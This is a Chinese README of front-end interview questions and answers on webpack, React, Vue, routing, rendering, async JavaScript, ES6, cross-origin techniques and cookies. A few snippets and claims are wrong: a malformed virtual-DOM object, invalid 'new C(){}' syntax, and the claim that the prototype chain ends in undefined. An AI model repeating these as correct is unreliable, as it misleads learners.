2017最全最新前端开发面试题

#interview #interview-questions #front-end-development

README.md

Donate

如果你觉得文章对你很有帮助，可以点击下面赞助商的链接（free）□，以支持我创作更优秀的文章~

Sponsor

Interview Quesetions

欢迎star，仅限个人学习和交流，禁止转载

职业规划

1. 首先应该是一个优秀的程序员
2. 其次是努力使自己成为某一领域的技术专家
3. 通过技术更好的服务于团队和业务
4. 提高沟通能力，团队协作，发现问题，解决问题，总结问题能力
5. 写写博客，输出就是最好的学习
6. 提升个人前端的工作效率和工作质量
7. 关注前端前言技术和发展方向，通过新技术服务团队和业务
8. 一专多长

想成为优秀的前端工程师，首先在专业技能领域必不可少，其次在团队贡献、业务思索、价值判断上也有要求。这三方面能决定你的专业技能能够为公司产出多大的价值。

我觉得程序员最核心的竞争力是学习力和责任。 学习能力的源泉就是好奇心，也就是对新知识的渴求，以及对探索未知的冲动。

你希望加入一个什么样的团队

- 对前端开发有激情
- 能够持之以恒的学习

- 团队做事方式是否规范（代码规范，安全规范，流程规范）
- 团队有足够的成长空间，对自己有个清晰的定位。
- 团队认可我的价值

最后你有什么要问我的吗

1.可以问一下公司具体的情况，比如我即将加入的部门的主要业务

2.问一下具体工作情况，比如需要做哪些内容

3.公司的氛围和公司的文化

4.贵司对这项职务的工作内容和期望目标

性能优化

https://csspod.com/frontend-performance-best-practices/

- 前端长列表的性能优化

只渲染页面用用户能看到的部分。并且在不断滚动的过程中去除不在屏幕中的元素，不再渲染，从而实现高性能的列表渲染。

借鉴着这个想法，我们思考一下。当列表不断往下拉时，web中的dom元素就越多，即使这些dom元素已经离开了这个屏幕，不被用户所看到了，这些dom元素依然存在在那里。导致浏览器在渲染时需要不断去考虑这些dom元素的存在，造成web浏览器的长列表渲染非常低效。因此，实现的做法就是捕捉scroll事件，当dom离开屏幕，用户不再看到时，就将其移出dom tree。

单页面应用的优缺点

优点： 1.用户体验好，快，内容的改变不需要重新加载整个页面 2.基于上面一点，SPA相对服务器压力小 3.没有页面切换，就没有白屏阻塞

缺点： 1、不利于SEO 2、初次加载耗时增多 3、导航不可用 4、容易造成css命名冲突等 5、页面复杂度提高很多，复杂逻辑难度成倍

为什么不利于SEO？

SPA简单流程 蜘蛛无法执行JS，相应的页面内容无从抓取

```
<html data-ng-app=”app”>是其标志性的标注。
```

对于这种页面来说，很多都是采用js等搜索引擎无法识别的技术来做的

说说你对前端工程化的理解

前端工程化不外乎两点，规范和自动化。

包括 团队开发规范，模块化开发，组件化开发，组件仓库，性能优化，部署，测试，开发流程，开发工具，脚手架，git工作流，团队协作

1.构建工具 2.持续集成 3.系统测试 4.日志统计 5.上线部署 6.敏捷开发 7.性能优化 8.基础框架

webpack 问题相关

loader和plugin区别

loader用于加载某些资源文件，因为webpack本身只能打包CommonJS规范的js文件，对于其他资源，例如css，图片等，是没有办法加载的，这就需要对应的loader将资源转换 plugin用于扩展webpack的功能，直接作用于webpack，loader只专注于转换文件，而plugin不仅局限于资源加载

Loader只能处理单一文件的输入输出，而Plugin则可以对整个打包过程获得更多的灵活性，譬如 ExtractTextPlugin，它可以将所有文件中的css剥离到一个独立的文件中，这样样式就不会随着组件加载而加载了。

什么是chunk

Webpack提供一个功能可以拆分模块，每一个模块称为chunk，这个功能叫做Code Splitting。你可以在你的代码库中定义分割点，调用require.ensure，实现按需加载

如何开发一个loader，原理是啥

A loader is a node module exporting a function.

缓存： Webpack Loader 同样可以利用缓存来提高效率，并且只需在一个可缓存的 Loader 上加一句 this.cacheable() 异步：在一个异步的模块中，回传时需要调用 Loader API 提供的回调方法 this.async()

打包原理

webpack打包，最基本的实现方式，是将所有的模块代码放到一个数组里，通过数组ID来引用不同的模块

```
/************************************************************************/
/******/ ([
/* 0 */
/***/ function(module, exports, __webpack_require__) {

    __webpack_require__(1);
    __webpack_require__(2);
    console.log('Hello, world!');

/***/ },
/* 1 */
/***/ function(module, exports) {

    var a = 'a.js';
    console.log("I'm a.js");

/***/ },
/* 2 */
/***/ function(module, exports) {

    var b = 'b.js';
    console.log("I'm b.js");

/***/ }
/******/ ]);
```

可以发现入口entry.js的代码是放在数组索引0的位置，其它a.js和b.js的代码分别放在了数组索引1和2的位置，而webpack引用的时候，主要通过 `__webpack_require__` 的方法引用不同索引的模块。

webpack和gulp的区别

webpack是一种模块化打包工具，主要用于模块化方案，预编译模块的方案；gulp是工具链、构建工具，可以配合各种插件做js压缩，css压缩，less编译 替代手工实现自动化工作。

Grunt/Gulp更多的是一种工作流；提供集成所有服务的一站式平台； gulp可以用来优化前端工作流程。

如何写一个plugin

Compiler在开始打包时就进行实例化，实例对象里面装着与打包相关的环境和参数，包括options、plugins和loaders等。

compilation对象，它继承于compiler，所以能拿到一切compiler的内容。Compilation表示有关模块资源，已编译资源，Compilation在每次文件变化重新打包时都进行一次实例化

apply方法：当安装这个插件的时候，这个apply方法就会被webpack compiler调用。

```
function HelloWorldPlugin(options) {
  // Setup the plugin instance with options...
}

HelloWorldPlugin.prototype.apply = function(compiler) {
  compiler.plugin('done', function() {
    console.log('Hello World!');
  });
};

module.exports = HelloWorldPlugin;
```

webpack打包后文件体积过大怎么办？

很多方法：异步加载模块（代码分割）；提取第三方库（使用cdn或者vender）；代码压缩；去除不必要的插件；去除devtool选项，dllplugin等等。

移动端问题

说说你知道的移动端web的兼容性bug

1、一些情况下对非可点击元素如(label,span)监听click事件，ios下不会触发，css增加cursor:pointer就搞定了。

2.position 在Safari下的两个定位需要都写，只写一个容易发生错乱

3.Input 的placeholder会出现文本位置偏上的情况

input 的placeholder会出现文本位置偏上的情况：PC端设置line-height等于height能够对齐，而移动端仍然是偏上，解决是设置line-height：normal

4.zepto点击穿透问题

引入fastclick解决；event.preventDefault

5.当输入框在最底部的时候，弹起的虚拟键盘会把输入框挡住。

```
Element.scrollIntoViewIfNeeded(opt_center)
```

react和vue的区别

相同点：

- 都支持服务端渲染
- 都有Virtual DOM，组件化开发，通过props参数进行父子组件数据的传递，都实现webComponents规范
- 数据驱动视图
- 都有支持native的方案，React的React native，Vue的weex

不同点：

- React严格上只针对MVC的view层，Vue则是MVVM模式
- virtual DOM 不一样 vue会跟踪每一个组件的依赖关系，不需要重新渲染整个组件树。而对于React而言，每当应用的状态被改变时，全部子组件都会重新渲染。当然，这可以通过shouldComponentUpdate这个生命周期方法来进行控制，
- 组件写法不一样 React 推荐的做法是 JSX + inline style，也就是把 HTML 和 CSS 全都写进 JavaScript 了，即"all in js" Vue 推荐的是使用 `webpack + vue-loader` 的单文件组件格式，即html,css,js写在同一个文件；
- 数据绑定：Vue有实现了双向数据绑定，React数据流动是单向的
- state对象在react应用中是不可变的，需要使用setState方法更新状态；在Vue中，state对象并不是必须的，数据由data属性在Vue对象中进行管理。

react相关

react的优缺点

我觉得这优缺点就因人而异，见仁见智了。

优点：

- 可以通过函数式方法描述视图组件（好处：相同的输入会得到同样的渲染结果，不会有副作用；组件不会被实例化，整体渲染性能得到提升）
- 集成虚拟DOM（性能好）
- 单向数据流（好处是更容易追踪数据变化排查问题
- 一切都是component：代码更加模块化，重用代码更容易，可维护性高
- 大量拥抱 es6 新特性
- jsx

缺点：

- jsx的一个问题是，渲染函数常常包含大量逻辑，最终看着更像是程序片段，而不是视觉呈现。后期如果发生需求更改，维护起来工作量将是巨大的

- 大而全，上手有难度

jsx的优缺点

允许使用熟悉的语法来定义HTML元素树 JSX 让小组件更加简单、明了、直观。 更加语义化且易懂的标签 JSX 本质是对JavaScript语法的一个扩展，看起来像是某种模板语言，但其实不是。但正因为形似HTML，描述UI就更直观了，也极大地方便了开发； 在React中babel会将JSX转换为 `React.createElement` 函数调用，然后将JSX转换为正确的JSON对象（VDOM 也是一个"树"形的结构） React/JSX乍看之下，觉得非常啰嗦，但使用JavaScript而不是模板语法来开发（模板语法比较有局限性），赋予了开发者许多编程能力。

dom diff算法和虚拟DOM

React中的render方法，返回一个DOM描述，结果仅仅是轻量级的js对象。Reactjs只在调用setState的时候会更新dom，而且还是先更新Virtual Dom，然后和实际DOM比较，最后再更新实际DOM。

React.js 厉害的地方并不是说它比 DOM 快（这句话本来就是错的），而是说不管你数据怎么变化，我都可以以最小的代价来更新 DOM。方法就是我在内存里面用新的数据刷新一个虚拟的 DOM 树，然后新旧 DOM 树进行比较，找出差异，再更新到真正的 DOM 树上。

当我们修改了DOM树上一些节点对应绑定的state，React会立即将它标记为"脏状态"。在事件循环的最后才重新渲染所有的脏节点。在实际的代码中，会对新旧两棵树进行一个深度优先的遍历，这样每个节点都会有一个唯一的标记，每遍历到一个节点就把该节点和新的的树进行对比。如果有差异的话就记录到一个对象里面，最后把差异应用到真正的DOM树上。 算法实现 1 步骤一：用JS对象模拟DOM树 2 步骤二：比较两棵虚拟DOM树的差异 3 步骤三：把差异应用到真正的DOM树上 这就是所谓的 diff 算法

dom diff采用的是增量更新的方式，类似于打补丁。React 需要为数据添加 key 来保证虚拟 DOM diff 算法的效率。key属性可以帮助React定位到正确的节点进行比较，从而大幅减少DOM操作次数，提高了性能。

`virtual dom`，也就是虚拟节点。它通过JS的Object对象模拟DOM中的节点，然后再通过特定的render方法将其渲染成真实的DOM节点。 http://react-china.org/t/dom/638

- 为什么js对象模拟DOM会比js操作DOM来得快

为了解决频繁操作DOM导致Web应用效率下降的问题，React提出了"虚拟DOM"（virtual DOM）的概念。Virtual DOM是使用JavaScript对象模拟DOM的一种对象结构。DOM树中所有的信息都可以用JavaScript表述出来，例如：

```
<ul>
  <li>Item 1</li>
  <li>Item 2</li>
  <li>Item 3</li>
</ul>
```

可以用以下JavaScript对象来表示：

```
{
  tag: 'ul',
  children: [{
    tag: 'li', children: ['Item 1'],
    tag: 'li', children: ['Item 2'],
    tag: 'li', children: ['Item 3']
  }]
}
```

这样可以避免直接频繁地操作DOM，只需要在js对象模拟的虚拟DOM进行比对，再将更改的部分应用到真实的DOM树上

- react组件性能优化

使用PureRenderMixin、shouldComponentUpdate来避免不必要的虚拟DOM diff，在render内部优化虚拟DOM的diff速度，以及让diff结果最小化。

react组件间的数据传递

1.兄弟组件不能直接相互传送数据，此时可以将数据挂载在父组件中，由两个组件共享

2.子组件向父组件通讯，可以通过父组件定义事件（回调函数），子组件调用该函数，通过实参的形式来改变父组件的数据来通信

```
//子组件
this.props.onCommentSubmit({author, content, date:new Date().getTime()});
//父组件
render(){
    return(
      <div className="m-index">
        <div>
          <h1>评论</h1>
        </div>
        <CommentList data={this.state.data} />
        <CommentForm onCommentSubmit={this.handleCommentSubmit.bind(this)} />
      </div>
    )
}
```

3.非父子组件间的通信：可以使用全局事件来实现组件间的沟通，React中可以引入eventProxy模块，利用 `eventProxy.trigger()` 方法发布消息， `eventProxy.on()` 方法监听并接收消息。

4.组件间层级太深，可以使用上下文方式，让子组件直接访问祖先的数据或函数，通过 `this.context.xx`

无状态组件

无状态组件其实本质上就是一个函数，传入props即可，没有state，也没有生命周期方法。组件本身对应的就是render方法。例子如下：

```
function Title({color = 'red', text = '标题'}) {
  let style = {
    'color': color
  }
  return (
    <div style = {style}>{text}</div>
  )
}
```

无状态组件不会创建对象，故比较省内存。没有复杂的生命周期方法调用，故流程比较简单。没有state，也不会重复渲染。它本质上就是一个函数而已。

对于没有状态变化的组件，React建议我们使用无状态组件。总之，能用无状态组件的地方，就用无状态组件。

高阶组件

高阶组件（HOC）是函数接受一个组件，返回一个新组件。其前身其实是用ES5创建组件时可用的mixin方法，但是在react版本升级过程中，使用ES6语法创建组件时，认为mixin是反模式，影响了react架构组件的封装稳定性，增加了不可控的复杂度，逐渐被HOC所替代。 实现高阶组件的方式有：

- 属性代理

```
import React, { Component } from 'React';
//高阶组件定义
const HOC = (WrappedComponent) =>
  class WrapperComponent extends Component {
    render() {
      return <WrappedComponent {...this.props} />;
    }
}
//普通的组件
class WrappedComponent extends Component{
    render(){
        //....
    }
}

//高阶组件使用
export default HOC(WrappedComponent)
```

- 反向继承

反向继承是指返回的组件去继承之前的组件(这里都用WrappedComponent代指)

```
const HOC = (WrappedComponent) =>
  class extends WrappedComponent {
    render() {
      return super.render();
    }
  }
```

我们可以看见返回的组件确实都继承自WrappedComponent,那么所有的调用将是反向调用的(例如:super.render())，这也就是为什么叫做反向继承。

react事件和传统事件有什么区别吗

React 实现了一个"合成事件"层（synthetic event system），这个事件模型保证了和 W3C 标准保持一致，所以不用担心有什么诡异的用法，并且这个事件层消除了 IE 与 W3C 标准实现之间的兼容问题。

"合成事件"还提供了额外的好处：

- 事件委托

"合成事件"会以事件委托（event delegation）的方式绑定到组件最上层，并且在组件卸载（unmount）的时候自动销毁绑定的事件。

react组件生命周期

react组件更新过程：

- props/state change：

1.componentWillReceiveProps(nextProps)

只要是父组件的render被调用，在render中被渲染的子组件就会经历更新的过程。不管父组件传给子组件的props有没有改变，都会触发子组件的此函数被调用。注意：通过setState方法触发的更新不会调用此函数

2.shouldComponentUpdate(nextProps,nextState) 3.componentWillUpdate 4.render 5.componentDidUpdate

vue 相关

vue 双向绑定底层实现原理

vue.js 采用数据劫持的方式，结合发布者-订阅者模式，通过 `Object.defineProperty()` 来劫持各个属性的setter，getter以监听属性的变动，在数据变动时发布消息给订阅者，触发相应的监听回调：

https://github.com/hawx1993/tech-blog/issues/11

vue 虚拟DOM和react 虚拟DOM的区别

在渲染过程中，会跟踪每一个组件的依赖关系，不需要重新渲染整个组件树。而对于React而言，每当应用的状态被改变时，全部子组件都会重新渲染。 在 React 应用中，当某个组件的状态发生变化时，它会以该组件为根，重新渲染整个组件子树。 如要避免不必要的子组件的重新渲染，你需要在所有可能的地方使用 PureComponent，或是手动实现 `shouldComponentUpdate` 方法

在React中，数据流是自上而下单向的从父节点传递到子节点，所以组件是简单且容易把握的，子组件只需要从父节点提供的props中获取数据并渲染即可。如果顶层组件的某个prop改变了，React会递归地向下遍历整棵组件树，重新渲染所有使用这个属性的组件。

v-show和v-if区别

与v-if不同的是，无论v-show的值为true或false，元素都会存在于HTML代码中；而只有当v-if的值为true，元素才会存在于HTML代码中

vue组件通信

非父子组件间通信，Vue 有提供 Vuex，以状态共享方式来实现同信，对于这一点，应该注意考虑平衡，从整体设计角度去考量，确保引入她的必要。

父传子: `this.$refs.xxx` 子传父: `this.$parent.xxx`

还可以通过`$emit`方法出发一个消息，然后`$on`接收这个消息

你如何评价vue

框架能够让我们跑的更快，但只有了解原生的JS才能让我们走的更远。

vue专注于MVVM中的viewModel层，通过双向数据绑定，把view层和Model层连接了起来。核心是用数据来驱动DOM。这种把directive和component混在一起的设计有一个非常大的问题，它导致了很多开发者滥用Directive（指令），出现了到处都是指令的情况。

优点： 1.不需要setState，直接修改数据就能刷新页面，而且不需要react的shouldComponentUpdate就能实现最高效的渲染路径。 2.渐进式的开发模式，模版方式->组件方式->路由整合->数据流整合->服务器渲染。上手的曲线更加平滑简单，而且不像react一上来就是组件全家桶 3.v-model给开发后台管理系统带来极大的便利，反观用react开发后台就是个杯具 4.html，css与js比react更优雅地结合在一个文件上。

缺点：指令太多，自带模板扩展不方便； 组件的属性传递没有react的直观和明显

说说你对MVVM的理解

Model层代表数据模型，可以在Model中定义数据修改和操作业务逻辑； view 代表UI组件。负责将数据模型转换成UI展现出来 ViewModel 是一个同步View和Model的对象

用户操作view层，view数据变化会同步到Model，Model数据变化会立即反应到view中。viewModel通过双向数据绑定把view层和Model层连接了起来

为什么选择vue

reactjs 的全家桶方式，实在太过强势，而自己定义的 JSX 规范，揉和在 JS 的组件框架里，导致如果后期发生页面改版工作，工作量将会巨大。

vue的核心：数据绑定 和 视图组件。

- Vue的数据驱动：数据改变驱动了视图的自动更新，传统的做法你得手动改变DOM来改变视图，vuejs只需要改变数据，就会自动改变视图，一个字：爽。再也不用你去操心DOM的更新了，这就是MVVM思想的实现。
- 视图组件化：把整一个网页的拆分成一个个区块，每个区块我们可以看作成一个组件。网页由多个组件拼接或者嵌套组成

vue中mixin与extend区别

全局注册混合对象，会影响到所有之后创建的vue实例，而`Vue.extend`是对单个实例进行扩展。

- mixin 混合对象（组件复用）

同名钩子函数（bind，inserted，update，componentUpdate，unbind）将混合为一个数组，因此都将被调用，混合对象的钩子将在组件自身钩子之前调用

`methods`，`components`，`directives`将被混为同一个对象。两个对象的键名（方法名，属性名）冲突时，取组件（而非mixin）对象的键值对

双向绑定和单向数据绑定的优缺点

只有 UI控件 才存在双向，非 UI控件 只有单向。 单向绑定的优点是可以带来单向数据流，这样的好处是流动方向可以跟踪，流动单一，没有状态, 这使得单向绑定能够避免状态管理在复杂度上升时产生的各种问题, 程序的调试会变得相对容易。单向数据流更利于状态的维护及优化，更利于组件之间的通信，更利于组件的复用

- 双向数据流的优点：

无需进行和单向数据绑定的那些CRUD（Create，Retrieve，Update，Delete）操作； 双向绑定在一些需要实时反应用户输入的场合会非常方便 用户在视图上的修改会自动同步到数据模型中去，数据模型中值的变化也会立刻同步到视图中去；

- 缺点：

双向数据流是自动管理状态的, 但是在实际应用中会有很多不得不手动处理状态变化的逻辑, 使得程序复杂度上升 无法追踪局部状态的变化 双向数据流，值和UI绑定，但由于各种数据相互依赖相互绑定，导致数据问题的源头难以被跟踪到

Vue 虽然通过 v-model 支持双向绑定，但是如果引入了类似redux的vuex，就无法同时使用 v-model。

双绑跟单向绑定之间的差异只在于，双向绑定把数据变更的操作隐藏在框架内部，调用者并不会直接感知。

```
<input v-model="something">
<!-- 等价于以下内容 -->
<input :value="something" @input="something = $event.target.value">
```

也就是说，你只需要在组件中声明一个name为value的props，并且通过触发input事件传入一个值，就能修改这个value。

前端路由实现方式

两种实现前端路由的方式

HTML5 History两个新增的API：history.pushState 和 history.replaceState，两个 API 都会操作浏览器的历史记录，而不会引起页面的刷新。

Hash就是url 中看到 # ,我们需要一个根据监听哈希变化触发的事件(hashchange) 事件。我们用 window.location 处理哈希的改变时不会重新渲染页面，而是当作新页面加到历史记录中，这样我们跳转页面就可以在 hashchange 事件中注册 ajax 从而改变页面内容。 可以为hash的改变添加监听事件：

```
window.addEventListener("hashchange", funcRef, false)
```

- 优点

从性能和用户体验的层面来比较的话，后端路由每次访问一个新页面的时候都要向服务器发送请求，然后服务器再响应请求，这个过程肯定会有延迟。而前端路由在访问一个新页面的时候仅仅是变换了一下路径而已，没有了网络延迟，对于用户体验来说会有相当大的提升。

前端路由的优点有很多，比如页面持久性，像大部分音乐网站，你都可以在播放歌曲的同时，跳转到别的页面而音乐没有中断，再比如前后端彻底分离。 开发一个前端路由，主要考虑到页面的可插拔、页面的生命周期、内存管理等。

- 缺点

使用浏览器的前进，后退键的时候会重新发送请求，没有合理地利用缓存。

History interface提供了两个新的方法：`pushState()`，`replaceState()`使得我们可以对浏览器历史记录栈进行修改：

```
window.history.pushState(stateObject, title, URL)
window.history.replaceState(stateObject, title, URL)
```

浏览器渲染原理解析

1、首先渲染引擎下载HTML，解析生成DOM Tree

2、遇到css标签或JS脚本标签就新起线程去下载他们，并继续构建DOM。（其中css是异步下载同步执行）浏览器引擎通过 DOM Tree 和 CSS Rule Tree 构建 Rendering Tree

3、 通过 CSS Rule Tree 匹配 DOM Tree 进行定位坐标和大小，这个过程称为 Flow 或 Layout 。

4、最终通过调用Native GUI 的 API 绘制网页画面的过程称为 Paint 。

当用户在浏览网页时进行交互或通过 js 脚本改变页面结构时，以上的部分操作有可能重复运行，此过程称为 Repaint 或 Reflow。 重排是指dom树发生结构变化后，需要重新构建dom结构。 重绘是指dom节点样式改变，重新绘制。 重排一定会带来重绘，重绘不一定有重排。

如何减少浏览器重排：将需要多次重排的元素，position属性设为absolute或fixed，这样此元素就脱离了文档流，它的变化不会影响到其他元素。

闭包

特性： 1.函数嵌套函数 2.函数内部可以引用外部的参数和变量 3.参数和变量不会被垃圾回收机制回收

闭包的缺点就是常驻内存，会增大内存使用量，使用不当很容易造成内存泄露。

为什么要使用闭包：

为了设计私有方法和变量，避免全局变量污染 希望一个变量长期驻扎在内存中

> view detail: https://segmentfault.com/a/1190000000652891

异步相关

async，Promise，Generator函数，co函数库区别

`async...await`写法最简洁，最符合语义。async/await让异步代码看起来、表现起来更像同步代码，这正是其威力所在。async函数就是 Generator 函数的语法糖，只不过async内置了自动执行器。async 函数就是将 Generator 函数的星号（*）替换成 async，将 yield 替换成 await

async函数优点

1）Generator 函数必须靠执行器，所以才有CO函数库，async函数自带执行器 2）更好的语义 3）更广的适用性。co函数库yield后面只能是Thunk函数或者Promise对象，await后面可以跟Promise对象和原始类型值（等同于同步操作）

Generator 函数：可以把它理解成一个函数的内部状态的遍历器，Generator重点在解决异步回调金字塔问题，巧妙的使用它可以写出看起来同步的代码。

co函数库

co可以说是给generator增加了promise实现。co是利用Generator的方式实现了`async/await`（co返回Promise对象，async也返回Promise对象，co内部的generator函数即async，yield相当于await）

co 函数库其实就是将两种自动执行器（Thunk 函数和 Promise 对象），包装成一个库。

co函数接收一个Generator生成器函数作为参数。执行co函数的时候，生成器函数内部的逻辑像async函数调用时一样被执行。不同之处只是这里的await变成了yield（产出）。

```
co(function* () {
  var result = yield Promise.resolve(true);
  return result;
}).then(function (value) {
  console.log(value);
}, function (err) {
  console.error(err.stack);
});
```

Promise 是异步编程的一种解决方案，比传统的解决方案——回调函数和事件监听——更合理和更强大。 promise catch函数和then第二个函数参数：

```
promise.catch();
// 等价于
promise.then(null, function(reason){});
```

有许多场景是异步的： 1.事件监听，如click，onload等事件 2.定时器 setTimeout和setInterval 3.ajax请求

js异步编程模型（es5）：

- 回调函数（callback）陷入回调地狱，解耦程度特别低
- 事件监听（Listener）JS 和浏览器提供的原生方法基本都是基于事件触发机制的
- 发布/订阅（观察者模式）把事件全部交给控制器管理，可以完全掌握事件被订阅的次数，以及订阅者的信息，管理起来特别方便。
- Promise 对象实现方式

async函数与Promise、Generator函数一样，是用来取代回调函数、解决异步操作的一种方法。它本质上是Generator函数的语法糖。 Promise，generator/yield，await/async 都是现在和未来 JS 解决异步的标准做法

Restful

REST（Representational State Transfer） REST的意思是表征状态转移，是一种基于HTTP协议的网络应用接口风格，充分利用HTTP的方法实现统一风格接口的服务，HTTP定义了以下8种标准的方法：

- GET：请求获取指定资源
- HEAD：请求指定资源的响应头
- PUT ：请求服务器存储一个资源 根据REST设计模式，这四种方法通常分别用于实现以下功能： GET（获取），POST（新增），PUT（更新），DELETE（删除）

什么是原型链

当从一个对象那里调取属性或方法时，如果该对象自身不存在这样的属性或方法，就会去自己关联的`prototype`对象那里寻找，如果prototype没有，就会去prototype关联的前辈prototype那里寻找，如果再没有则继续查找`Prototype.Prototype`引用的对象，依次类推，直到Prototype.....Prototype为undefined（Object的Prototype就是undefined）从而形成了所谓的"原型链"。

其中foo是Function对象的实例。而Function的原型对象同时又是Object的实例。这样就构成了一条原型链。

instanceof 确定原型和实例之间的关系

用来判断某个构造函数的prototype属性是否存在另外一个要检测对象的原型链上

对象的`__proto__`指向自己构造函数的prototype。`obj.__proto__.__proto__...`的原型链由此产生，包括我们的操作符instanceof正是通过探测`obj.__proto__.__proto__... === Constructor.prototype`来验证obj是否是Constructor的实例。

```
function C(){}

var o = new C(){}
//true 因为Object.getPrototypeOf(o) === C.prototype
o instanceof C
```

instanceof只能用来判断对象和函数，不能用来判断字符串和数字

isPrototypeOf

用于测试一个对象是否存在于另一个对象的原型链上。

判断父级对象 可检查整个原型链

ES6相关

谈一谈let与var和const的区别？

- let为ES6新添加申明变量的命令，它类似于var，但是有以下不同：
- let命令不存在变量提升，如果在let前使用，会导致报错
- 暂时性死区的本质，其实还是块级作用域必须"先声明后使用"的性质。
- let，const和class声明的全局变量不是全局对象的属性。

const声明的变量与let声明的变量类似，它们的不同之处在于，const声明的变量只可以在声明时赋值，不可随意修改，否则会导致SyntaxError（语法错误）。

const只是保证变量名指向的地址不变，并不保证该地址的数据不变。const可以在多个模块间共享 let 暂时性死区的原因：var会变量提升，let 不会。

箭头函数

箭头函数不属于普通的 function，所以没有独立的上下文。箭头函数体内的this对象，就是定义时所在的对象，而不是使用时所在的对象。 由于箭头函数没有自己的this，函数对象中的call、apply、bind三个方法，无法"覆盖"箭头函数中的this值。 箭头函数没有原本(传统)的函数有的隐藏arguments对象。 箭头函数不能当作generators使用，使用yield会产生错误。

在以下场景中不要使用箭头函数去定义：

- 定义对象方法、定义原型方法、定义构造函数、定义事件回调函数。
- 箭头函数里不但没有 this，也没有 arguments, super .....

Symbol，Map和Set

Map 对象保存键值对。一个对象的键只能是字符串或者 Symbols，但一个 Map 的键可以是任意值。 Set 对象允许你存储任何类型的唯一值，Set对象是值的集合，Set中的元素只会出现一次 Symbol 是一种特殊的、不可变的数据类型，可以作为对象属性的标识符使用(Symbol([description]))

```
let mySet = new Set()
mySet.add(1)
mySet.add('hello')
mySet.add('hello')
console.log(mySet.size);//2
```

```
console.log(mySet);//Set {1,'hello'}

//Map保存键值对也不能有重复的
let myMap = new Map();
let key1 = 'China',key2 = 'America';
myMap.set(key1,'welcome')
myMap.set(key2,'gold bless you')
console.log(myMap);//Map { 'China' => 'welcome', 'America' => 'gold bless you' }
console.log(myMap.get(key1));//welcome
console.log(myMap.get(key2));//gold bless you

let mySymbol = Symbol('symbol1');
let mySymbol2 = Symbol('symbol1');
console.log(mySymbol == mySymbol2);//false
//Symbols 在 for...in 迭代中不可枚举。
let obj = {}
obj['c'] = 'c'
obj.d ='d'
obj[Symbol('a')] = 'a'
obj[Symbol.for('b')] = 'b'
for(let k in obj){
    console.log(k);//logs 'c' and 'd'
}
```

`for...of`可以用来遍历数组，类数组对象，argument，字符串，Map和Set，`for...in`用来遍历对象

跨域

script、image、iframe的src都不受同源策略的影响。

1. JSONP,回调函数+数据就是 JSON With Padding，简单、易部署。（做法：动态插入script标签，设置其src属性指向提供JSONP服务的URL地址，查询字符串中加入 callback 指定回调函数，返回的 JSON 被包裹在回调函数中以字符串的形式被返回，需将script标签插入body底部）。缺点是只支持GET，不支持POST（原因是通过地址栏传参所以只能使用GET）
2. document.domain 跨子域（ 例如a.qq.com嵌套一个b.qq.com的iframe ，如果a.qq.com设置document.domain为qq.com 。b.qq.com设置document.domain为qq.com， 那么他俩就能互相通信了，不受跨域限制了。 注意：只能跨子域）
3. window.name + iframe ==> http://www.tuicool.com/articles/viMFbqV，支持跨主域。不支持POST
4. HTML5的postMessage()方法允许来自不同源的脚本采用异步方式进行有限的通信，可以实现跨文本档、多窗口、跨域消息传递。适用于不同窗口iframe之间的跨域
5. CORS（Cross Origin Resource Share）对方服务端设置响应头
6. 服务端代理 在浏览器客户端不能跨域访问，而服务器端调用HTTP接口只是使用HTTP协议，不会执行JS脚本，不需要同源策略，也就没有跨越问题。简单地说，就是浏览器不能跨域，后台服务器可以跨域。（一种是通过http-proxy-middleware插件设置后端代理；另一种是通过使用http模块发出请求）

CORS请求默认不发送Cookie和HTTP认证信息。如果要把Cookie发到服务器，一方面要服务器同意，指定`Access-Control-Allow-Credentials`字段。

说说你对作用域链的理解

作用域链的作用是保证执行环境里有权访问的变量和函数是有序的，作用域链的变量只能向上访问，变量访问到window对象即被终止，作用域链向下访问变量是不被允许的。

js继承方式及其优缺点

- 原型链继承的缺点

一是字面量重写原型会中断关系，使用引用类型的原型，并且子类型还无法给超类型传递参数。

- 借用构造函数（类式继承）

借用构造函数虽然解决了刚才两种问题，但没有原型，则复用无从谈起。所以我们需要原型链+借用构造函数的模式，这种模式称为组合继承

- 组合式继承

组合式继承是比较常用的一种继承方法，其背后的思路是 使用原型链实现对原型属性和方法的继承，而通过借用构造函数来实现对实例属性的继承。这样，既通过在原型上定义方法实现了函数复用，又保证每个实例都有它自己的属性。

> For detail：JavaScript继承方式详解

fetch和Ajax有什么不同

`XMLHttpRequest` 是一个设计粗糙的 API，不符合关注分离（Separation of Concerns）的原则，配置和调用方式非常混乱，而且基于事件的异步模型写起来也没有现代的 Promise，`generator/yield`，`async/await` 友好。

fetch 是浏览器提供的一个新的 web API，它用来代替 Ajax（XMLHttpRequest），其提供了更优雅的接口，更灵活强大的功能。 Fetch 优点主要有：

- 语法简洁，更加语义化
- 基于标准 Promise 实现，支持 `async/await`

```
fetch(url).then(response => response.json())
  .then(data => console.log(data))
  .catch(e => console.log("Oops, error", e))
```

Cookie相关

```
Set-Cookie: value[; expires=date][; domain=domain][; path=path][; secure]
```

如果想让cookie存在一段时间，就要为expires属性设置为未来的一个用毫秒数表示的过期日期或时间点，expires默认为设置的expires的当前时间。现在已经被max-age属性所取代，max-age用秒来设置cookie的生存期。如果max-age为0，则表示删除该cookie。

cookie的属性：

- HttpOnly属性告之浏览器该 cookie 绝不能通过 JavaScript 的 `document.cookie` 属性访问。
- domain属性可以使多个web服务器共享cookie。
- 只有path属性匹配向服务器发送的路径，Cookie 才会发送。必须是绝对路径
- secure属性用来指定Cookie只能在加密协议HTTPS下发送到服务器。
- max-age属性用来指定Cookie有效期
- expires属性用于指定Cookie过期时间。它的格式采用Date.toUTCString()的格式。

浏览器的同源政策规定，两个网址只要域名相同和端口相同，就可以共享Cookie。

什么是同构

同构(isomorphic/universal)就是使前后端运行同一套代码的意思，后端一般是指 NodeJS 环境。

http2.0和https

与HTTP/1相比，主要区别包括

- HTTP/2采用二进制格式而非文本格式（二进制协议解析起来更高效）
- HTTP/2是完全多路复用的，即一个TCP连接上同时跑多个HTTP请求
- 使用报头压缩，HTTP/2降低了开销
- HTTP/2让服务器可以将响应主动"推送"到客户端缓存中，支持服务端推送（就是服务器可以对一个客户端请求发送多个响应）

HTTPS协议是由SSL+HTTP协议构建的可进行加密传输、身份认证的网络协议，TLS/SSL中使用 了非对称加密，对称加密以及HASH算法。比http协议安全。

- HTTPS的工作原理

HTTPS 在传输数据之前需要客户端（浏览器）与服务端（网站）之间进行一次握手，在握手过程中将确立双方加密传输数据的密码信息

- 什么是keep-alive模式（持久连接，连接重用）

